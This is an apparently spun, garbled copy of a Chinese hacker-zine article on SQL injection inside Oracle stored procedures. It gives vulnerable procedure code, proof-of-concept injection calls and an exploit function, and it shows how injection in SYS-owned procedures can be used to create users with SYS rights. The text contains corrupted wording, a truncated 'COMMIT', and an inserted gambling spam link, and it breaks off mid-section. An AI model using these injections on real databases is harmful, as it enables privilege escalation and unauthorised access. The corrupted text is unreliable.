深入挖掘ORACLE内部SQLINJECTION





Ph4nt0m Security Team

Issue 0x02, Phile #0x06 of 0x0A


''
'. 深刻发掘ORACLE内部SQLINJECTION .'
''
''
'. By kj021320 .'
'. kj021320_at_126. .'
''

一、前言

良久没写PAPER了,日久之疏勤成性。我感到在海内的ORACLE攻防技术研讨得比拟少,比
较欠缺。或者是我坐井观天。在国外许很多多的PAPER已经成为了ORACLE袭击泛亚娱乐技术:yuan01.bc88.info/fei的经典。
那么接下来的就是跟大家探讨一下对于ORACLE内部SQL注射技巧。信任大家都看过我写的
.ART OF WEBSQLINJECTION第2卷 ORACLE篇 .07年的初的时候,本文已经写好
.检测函数注入in ORACLE.。惋惜在偶的一次数据丧失中,许多PAPER进了宅兆。现在题目
换了为.深入挖掘ORACLE内部SQLINJECTION.,为什么·实在ORACLE的内部SQL注射不单单出
自于函数 存储过程,如果你是这样想的话,那就太狭窄了,其实还有好多的处所仍是会出现
SQL注射的。例如他的TRIGGER,SQLJ,JOB等等…盼望本文可以让你在ORACLE攻防中受益,接下
来就轮到大家拍砖了。

二、注释

在WEB上面SQLINJECTION已经成为当今所谓的“日”站主流。这里就不空话,那到数据库
层面到底什么样的存储过程/函数会出现SQLINJECTION呢·首先看一个例子:

Example1:

CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
BEGIN
execute immediate \'begin insert into KJTESTTABLE values(\'\'\''' injcode ''\'\'\');end;\';
END;

看以上的存储过程,把参数写入一个表中,在普通开发常常有这样的情形出现。

那么看下面的调用,如下会把字符串1写入表 KJTESTTABLE里面。

declare
begin
KJTEST(\'1\');
end;

那么现在可以对injcode进行POC一下

declare
begin
KJTEST(\'1\'\');dbms_output.put_line(\'\'hello\');
end;

执行这样的方法可以看到在节制台输出hello的字样。

OK,这个攻击的EXP就十分好写了!

declare
begin
KJTEST(\'1\'\');EXPCODE;dbms_output.put_line(\'\'hello\');
end;

那么,这样的存储过程中出现SQL注射,个别用户写的存储过程有这样的破绽,倒还好。
只能“日自己”。然而假如呈现在SYS SYSTEM这类的体系治理员用户的贮存进程中,问题就大
了。现在再看看ORA中,办法调用权限的模型。

如下,一个一般权限的用户KJ调用sys.dbms_metadata.get_ddl可以获取某个系统对象
的DDL源代码,那么当这个函数被调用的时候,由于该函数占有者是SYS 所以调用者被赋予
sys等同角色的权限。开端操作查询系统对象,而后把结果反还给KJ,再次转换为KJ自己的权
限 看下面的唆使:

用户 调用函数(转换为函数领有者的权限) 履行操作 获取成果 (转换为本人权限) 停止

看清楚上面的我们就能够持续了,如果在SYS用户的对象中有SQL打针涌现,那么咱们就
以SYS用户身份做事包含增加用户等。那么在上面的EXPCODE中,我们完整可以以SYS用户身
份执行execute immediate \'create user kj identified by kj\',OK上面的第一个例子我
们讨论到这里。

并不是所有的ORA内部SQL注射都可以这样使用的!在上述这个例子里面已经可以算长短
常少见的了。而且极好利用!再看下面一个例子

Example2:

CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
AS
tbn varchar2(1000);
BEGIN
execute immediate \'select table_name from user_tables where table_name\'\'\''' injcode ''\'\'\'\'
into tbn;
dbms_output.put_line(tbn);
END;

那么我们畸形调用的时候则采取此方法:

declare
begin
KJTEST(\'KJTESTTABLE\');
end;

查看用户系统表中名字为KJTESTTABLE的记载。

OK,现在留心存储过程中使用动态执行SQL语句,因为目的运行的是单个SQL语句,那么我
们不能像例子1那样应用多语句进行攻打,但是我们可以把持当前语句执行的流程。有个方
法,就是我们放入一个树立EXP的函数。让这个SQL执行调用。看以下应用:

CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
RESULT INTEGER;
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE \'INSERT INTO KJTESTTABLE VALUES(021320)\';
MIT;
RETURN(RESULT);
END KJHACKEREXP;

declare
begin
KJTEST(\'KJTESTTABLE\'\'''KJHACKEREXP()''\'\'\');
end;

OK,这样就是在ORACLE里面发生的SQLINJECTION,前戏结束!当初进入挖掘局部。

挖掘分为2部门:黑盒与白盒方式。

首先先容简单的是白盒方式,ORACLE中每个对象的SOURCE都会保留在数据库内的。那么
我们可以采用一个存储过程来获取SYS.DBMS_METADATA.GET_DDL,类似一下语句:

SELECT SYS.DBMS_METADATA.GET_DDL(\'FUNCTION\',\'KJHACKEREXP\')
FROM DUAL

可以获取该对象的Data Declare Source,当然你也可以自己查问:

SELECT . from all_source

但是是否这么简略呢·当然不会了,在ORACLE中,也供给了对存储过程函数等加密的手腕,
相似SQLSERVER的存储过程加密。所以当你查看ctxsys.CTX_DDL的时候会发明以下货色出现:

create or replace package body ctxsys.CTX_DDL wrapped

对,就是ORACLE中wrap加密编码了,那么就只能黑盒测试了,测试的时候如何去获取当时
ORACLE执行的操作呢·可以通过以下的方式:

09-02 05:38